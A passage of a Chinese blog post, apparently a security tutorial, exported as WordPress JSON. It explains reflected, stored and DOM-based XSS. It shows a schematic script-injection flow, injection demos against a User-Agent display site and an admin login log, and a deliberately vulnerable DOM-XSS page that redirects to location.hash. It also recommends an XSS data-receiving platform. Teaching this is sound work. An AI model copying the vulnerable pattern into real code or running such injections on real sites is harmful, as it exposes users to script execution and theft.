{"id":447,"date":"2026-05-31T18:50:00","date_gmt":"2026-05-31T10:50:00","guid":{"rendered":"https:\/\/duoduosec.fun\/?p=447"},"modified":"2026-06-01T11:34:31","modified_gmt":"2026-06-01T03:34:31","slug":"%e3%80%90%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e3%80%91owasp-top10%ef%bc%88xss%e7%af%87%ef%bc%89","status":"publish","type":"post","link":"https:\/\/duoduosec.fun\/index.php\/2026\/05\/31\/%e3%80%90%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e3%80%91owasp-top10%ef%bc%88xss%e7%af%87%ef%bc%89\/","title":{"rendered":"\u3010\u7f51\u7edc\u5b89\u5168\u3011OWASP TOP10\uff08XSS\u7bc7\uff09"},"content":{"rendered":"\n<p class=\"has-medium-font-size wp-block-paragraph\"><strong>\ud83d\udee0\ufe0f \u4f7f\u7528\u7684\u5de5\u5177<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><a href=\"https:\/\/www.xp.cn\/download\" data-type=\"link\" data-id=\"https:\/\/www.xp.cn\/download\">\u5c0f\u76ae\u9762\u677f<\/a><\/strong> \u2014 \u670d\u52a1\u5668\u5b89\u88c5\u5de5\u5177<\/li>\n\n\n\n<li><strong><a href=\"https:\/\/github.com\/firesunCN\/BlueLotus_XSSReceiver\">BlueLotus<\/a><\/strong> \u2014 XSS\u6570\u636e\u63a5\u6536\u5e73\u53f0<\/li>\n\n\n\n<li><strong><a href=\"https:\/\/www.xunjiepdf.com\/editor\" data-type=\"link\" data-id=\"https:\/\/www.xunjiepdf.com\/editor\">\u8fc5\u6377PDF\u7f16\u8f91\u5668<\/a><\/strong> \u2014 PDF\u7f16\u8f91\u5668<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e00\u3001\u6838\u5fc3\u6982\u5ff5\u4e0e\u539f\u7406<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83c\udfaf \u4ec0\u4e48\u662fXSS\u6f0f\u6d1e<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5b9a\u4e49<\/strong>\uff1a\u653b\u51fb\u8005\u5c06\u6076\u610f\u811a\u672c\uff08\u901a\u5e38\u662fJavaScript\uff09\u6ce8\u5165\u5230\u76ee\u6807\u7f51\u7ad9\u4e2d\uff0c\u5f53\u5176\u4ed6\u7528\u6237\u8bbf\u95ee\u8be5\u7f51\u7ad9\u65f6\uff0c\u6076\u610f\u811a\u672c\u5728\u7528\u6237\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u8be6\u7ec6\u89e3\u91ca<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-text-align-left wp-block-paragraph\">\u7f51\u7ad9\u4e2d\u5305\u542b\u5927\u91cf\u7684\u52a8\u6001\u5185\u5bb9\u4ee5\u63d0\u9ad8\u7528\u6237\u4f53\u9a8c\uff0c\u6bd4\u8fc7\u53bb\u8981\u590d\u6742\u5f97\u591a\u3002\u6240\u8c13\u52a8\u6001\u5185\u5bb9\uff0c\u5c31\u662f\u6839\u636e\u7528\u6237\u73af\u5883\u548c\u9700\u8981\uff0cWeb\u5e94\u7528\u7a0b\u5e8f\u80fd\u591f\u8f93\u51fa\u76f8\u5e94\u7684\u5185\u5bb9\u3002\u52a8\u6001\u7ad9\u70b9\u4f1a\u53d7\u5230\u4e00\u79cd\u540d\u4e3a\u201c\u8de8\u7ad9\u811a\u672c\u653b\u51fb\u201d\uff08Cross Site Scripting\uff0c\u5b89\u5168\u4e13\u5bb6\u4eec\u901a\u5e38\u5c06\u5176\u7f29\u5199\u6210XSS,\u539f\u672c\u5e94\u5f53\u662fcss\uff0c\u4f46\u4e3a\u4e86\u548c\u5c42\u53e0\u6837\u5f0f\u8868\uff08Cascading Style Sheet,CSS\uff09\u6709\u6240\u533a\u5206\uff0c\u6545\u79f0XSS\uff09\u7684\u5a01\u80c1\uff0c\u800c\u9759\u6001\u7ad9\u70b9\u5219\u5b8c\u5168\u4e0d\u53d7\u5176\u5f71\u54cd\u3002\u6076\u610f\u653b\u51fb\u8005\u4f1a\u5728 Web\u9875\u9762\u91cc\u63d2\u5165\u6076\u610fScript\u4ee3\u7801\uff0c\u5f53\u7528\u6237\u6d4f\u89c8\u8be5\u9875\u4e4b\u65f6\uff0c\u5d4c\u5165\u5176\u4e2dWeb\u91cc\u9762\u7684Script\u4ee3\u7801\u4f1a\u88ab\u6267\u884c\uff0c\u4ece\u800c\u8fbe\u5230\u6076\u610f\u653b\u51fb\u7528\u6237\u7684\u76ee\u7684\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udca3 \u6f0f\u6d1e\u6839\u672c\u539f\u56e0<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u6838\u5fc3\u95ee\u9898\uff1a\u6570\u636e\u4e0e\u4ee3\u7801\u672a\u5206\u79bb<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>\u2705 \u6b63\u5e38\u6d41\u7a0b\uff1a\n\u7528\u6237\u8f93\u5165\u6570\u636e \u2192 \u7f51\u7ad9\u5b58\u50a8\/\u8f93\u51fa \u2192 \u5176\u4ed6\u7528\u6237\u770b\u5230\u6570\u636e\n\n\u274c \u6f0f\u6d1e\u6d41\u7a0b\uff1a\n\u7528\u6237\u8f93\u5165&lt;script&gt;\u6076\u610f\u4ee3\u7801&lt;\/script&gt; \u2192 \u7f51\u7ad9\u672a\u8fc7\u6ee4 \u2192 \u5176\u4ed6\u7528\u6237\u6267\u884c\u6076\u610f\u4ee3\u7801<\/strong><\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u5178\u578b\u51fa\u73b0\u4f4d\u7f6e<\/strong><\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\">\n<li><code>GET<\/code>\u3001<code>POST<\/code>\u3001<code>Headers<\/code>\uff1a<code>GET<\/code>\u5c31\u662f\u770b\u4e00\u4e9bURL\u53c2\u6570\uff1b<code>POST<\/code>\u5c31\u662f\u4e00\u4e9b\u767b\u5f55\u70b9\u3001\u7559\u8a00\u677f\uff1b<code>Headers<\/code>\u5c31\u662f\u50cf<code>UA<\/code>\u5934\u3001<code>cookie<\/code><\/li>\n\n\n\n<li>\u53cd\u9988\u4e0e\u6d4f\u89c8<\/li>\n\n\n\n<li>\u5bcc\u6587\u672c\u7f16\u8f91\u5668<\/li>\n\n\n\n<li>\u5404\u7c7b\u6807\u7b7e\u63d2\u5165\u548c\u81ea\u5b9a\u4e49<\/li>\n\n\n\n<li>\u7528\u6237\u8d44\u6599<\/li>\n\n\n\n<li>\u6570\u636e\u8f93\u51fa<\/li>\n\n\n\n<li>\u8bc4\u8bba\u3001\u7559\u8a00\u7b49<\/li>\n\n\n\n<li>\u5173\u952e\u8bcd\u3001\u6807\u7b7e\u3001\u8bf4\u660e<\/li>\n\n\n\n<li>\u6587\u4ef6\u4e0a\u4f20<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u603b\u7ed3\u4e00\u53e5\u8bdd\uff0c<strong>\u4efb\u4f55\u53ef\u4ee5\u81ea\u5b9a\u4e49\u8f93\u5165\u6570\u636e\u7684\u5730\u65b9\u90fd\u53ef\u4ee5\u5c1d\u8bd5<code>XSS<\/code><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e8c\u3001XSS\u7684\u4e09\u79cd\u4e3b\u8981\u7c7b\u578b<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udce4 \u53cd\u5c04\u578bXSS<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u653b\u51fb\u6b65\u9aa4<\/strong><\/li>\n<\/ul>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/78894419846f4a62a52643a0b9ee446e.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"826\" height=\"654\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/78894419846f4a62a52643a0b9ee446e.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-481\"  sizes=\"auto, (max-width: 826px) 100vw, 826px\" \/><\/div><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u5e38\u89c1\u7684\u60c5\u51b5\u662f\u653b\u51fb\u8005\u901a\u8fc7<strong>\u6784\u9020\u4e00\u4e2a\u6076\u610f\u94fe\u63a5<\/strong>\u7684\u5f62\u5f0f\uff0c\u8bf1\u5bfc\u7528\u6237\u4f20\u64ad\u548c\u6253\u5f00\uff0c\u7531\u4e8e<strong>\u94fe\u63a5\u5185\u6240\u643a\u5e26\u7684\u53c2\u6570\u4f1a\u56de\u663e\u4e8e\u9875\u9762\u4e2d\u6216\u4f5c\u4e3a\u9875\u9762\u7684\u5904\u7406\u6570\u636e<\/strong>\uff0c\u6700\u7ec8\u9020\u6210<code>XSS<\/code>\u653b\u51fb<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u6848\u4f8b\u6f14\u793a<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>https:\/\/useragent.openadmintools.com\/<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-33-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-33-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-493\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u8fd9\u91cc\u4f1a\u81ea\u52a8\u83b7\u53d6UA\u5934\u4fe1\u606f\uff0c\u800c\u4e14\u8fd9\u4e2aUA\u5934\u7684\u8f93\u5165\u662f\u6211\u4eec\u53ef\u63a7\u7684\uff0c\u90a3\u4e48\u6211\u4eec\u5c1d\u8bd5\u8f93\u5165<code>xss<\/code>\u8bed\u53e5<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-35-1024x471.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"471\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-35-1024x471.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-497\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u8fd9\u91cc\u662f\u56e0\u4e3a\u5b83\u8f93\u51fa\u7684\u5730\u65b9\u6ca1\u6709\u505a\u4efb\u4f55\u8fc7\u6ee4\uff0c\u6240\u4ee5\u5bfc\u81f4\u540e\u9762\u7684<code>xss<\/code>\u8bed\u53e5\u6b63\u5e38\u63d2\u5165\u5e76\u4e14\u6267\u884c\u4e86<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udcbe \u5b58\u50a8\u578bXSS<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u653b\u51fb\u6b65\u9aa4<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/83197f4887d4441085cf00364dfd076e.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"869\" height=\"625\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/83197f4887d4441085cf00364dfd076e.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-502\"  sizes=\"auto, (max-width: 869px) 100vw, 869px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u5b58\u50a8\u578b<code>XSS<\/code>\u662f\u6301\u4e45\u5316\u7684<code>XSS<\/code>\u653b\u51fb\u65b9\u5f0f\uff0c\u5b83<strong>\u5c06\u6076\u610f\u4ee3\u7801\u5b58\u50a8\u4e8e\u670d\u52a1\u5668\u7aef<\/strong>\uff0c\u6bd4\u5982\u6570\u636e\u5e93\u3001\u7559\u8a00\u9875\u9762\u3001\u65e5\u5fd7\u6587\u4ef6\u7b49\uff0c\u5f53\u5176\u4ed6\u7528\u6237\u8bbf\u95ee\u8be5\u9875\u9762\u65f6\u5c31\u4f1a\u89e6\u53d1\u4ee3\u7801\uff0c\u9020\u6210<code>xss<\/code>\u653b\u51fb<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u6848\u4f8b\u6f14\u793a<\/strong><\/li>\n<\/ul>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-36-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-36-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-516\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u5229\u7528\u7ba1\u7406\u5458\u8d26\u53f7\u5bc6\u7801\u767b\u5f55<\/p>\n\n\n<div class=\"wp-block-image is-style-default\">\n<figure class=\"aligncenter size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-37-edited.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1352\" height=\"612\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-37-edited.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-568\"  sizes=\"auto, (max-width: 1352px) 100vw, 1352px\" \/><\/div><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u5c1d\u8bd5\u8f93\u5165\u5176\u4ed6\u7684\u7528\u6237\u540d\u767b\u5f55\uff0c\u67e5\u770b\u65e5\u5fd7\u7684\u64cd\u4f5c\u8be6\u7ec6\u662f\u4e0d\u662f\u663e\u793a\u7684\u5c31\u662f\u7528\u6237\u540d<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-38-edited.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1343\" height=\"608\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-38-edited.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-567\"  sizes=\"auto, (max-width: 1343px) 100vw, 1343px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u73b0\u5728<code>xss<\/code>\u5229\u7528\u7684\u4e24\u8981\u7d20\u5df2\u7ecf\u9f50\u6d3b\u4e86\uff1a<strong>\u6709\u8f93\u5165\u4e14\u53ef\u63a7\uff0c\u6709\u8f93\u51fa\u524d\u7aef\u56de\u663e<\/strong>\uff0c\u76f4\u63a5\u5728\u767b\u5f55\u6846\u5199\u5165<code>xss<\/code>\u8bed\u53e5<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-40-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-40-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-527\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-45-1024x535.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"535\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-45-1024x535.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-569\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u6bcf\u6b21\u5237\u65b0\u90fd\u4f1a\u5f39\uff0c\u53ea\u6709\u5f53\u6e05\u9664\u65e5\u5fd7\u540e\u624d\u4f1a\u5931\u6548\uff0c\u8fd9\u5c31\u662f\u5b58\u50a8\u578b<code>xss<\/code><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83c\udfe0 DOM\u578bXSS<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u653b\u51fb\u6b65\u9aa4<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/298a11c05749442b848aa131dfdc1c43.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"993\" height=\"513\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/298a11c05749442b848aa131dfdc1c43.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-533\"  sizes=\"auto, (max-width: 993px) 100vw, 993px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\"><code>DOM<\/code>\u578b<code>XSS<\/code>\u662f\u901a\u8fc7<strong>\u5c06\u6076\u610f\u4ee3\u7801\u63d2\u5165\u5230\u5ba2\u6237\u7aef\u7684DOM\u6811<\/strong>\u4e2d\uff0c\u5b9e\u73b0<code>XSS<\/code>\u653b\u51fb\uff0c\u65e0\u9700\u7ecf\u8fc7\u670d\u52a1\u5668\uff0c\u56e0\u6b64\u76f8\u5bf9\u6765\u8bf4\u6bd4\u8f83\u96be\u4ee5\u68c0\u6d4b<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>DOM\u6811<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><code>DOM<\/code>\u662f\u6587\u6863\u8bbf\u95ee\u5bf9\u8c61\u6a21\u578b\uff0c\u5176\u5b9e\u5c31\u662f<mark>\u5c06<code>html<\/code>\u6807\u7b7e\u5143\u7d20\u90fd\u770b\u6210\u5bf9\u8c61\uff0c\u7136\u540e\u901a\u8fc7\u5bf9\u8c61\u53bb\u8bbf\u95ee\u5176\u65b9\u6cd5\u548c\u5c5e\u6027<\/mark>\uff0c\u800cDOM\u6811\u5c31\u662f\u8fd9\u4e2a\u4e1c\u897f\u5206\u5c42\u4e4b\u540e\u770b\u8d77\u6765\u50cf\u6811\u4e00\u6837\u7684\u6811\u5f62\u7ed3\u6784\u56fe<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u6848\u4f8b\u6f14\u793a<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u5148\u770b\u4e00\u6bb5\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>&lt;html&gt;  \n    &lt;head&gt;  \n        &lt;title&gt; DOM-XSS TEST &lt;\/title&gt;  \n    &lt;\/head&gt;  \n    &lt;body&gt;  \n        &lt;script&gt;  \n            var hash = location.hash;  \n            if(hash){  \n                var url = hash.substring(1);  \n                location.href = url;  \n            }  \n        &lt;\/script&gt;  \n    &lt;\/body&gt;  \n&lt;\/html&gt;<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-table aligncenter\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-center\" data-align=\"center\">\u90e8\u5206<\/th><th class=\"has-text-align-center\" data-align=\"center\">\u542b\u4e49<\/th><th class=\"has-text-align-center\" data-align=\"center\">\u793a\u4f8b<\/th><\/tr><\/thead><tbody><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>location<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u6d4f\u89c8\u5668\u5185\u7f6e\u5bf9\u8c61\uff0c\u4ee3\u8868\u5f53\u524d\u9875\u9762\u7684URL<\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>https:\/\/example.com\/page.html#section1<\/code><\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>.hash<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u83b7\u53d6URL\u4e2d<code>#<\/code>\u53ca\u540e\u9762\u7684\u6240\u6709\u5185\u5bb9<\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>#section1<\/code><\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>.substring(1)<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u53bb\u6389\u7b2c\u4e00\u4e2a\u5b57\u7b26\uff08\u53bb\u6389<code>#<\/code>\uff09\uff0c\u4ece\u7d22\u5f151\u5f00\u59cb\u53d6<\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>section1<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u6b63\u5e38\u8bbf\u95ee\u662f\u7528<code>#<\/code>\u53bb\u5b9e\u73b0\u9875\u9762\u8df3\u8f6c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-42-1024x544.png'><img class=\"lazyload lazyload-style-1\" 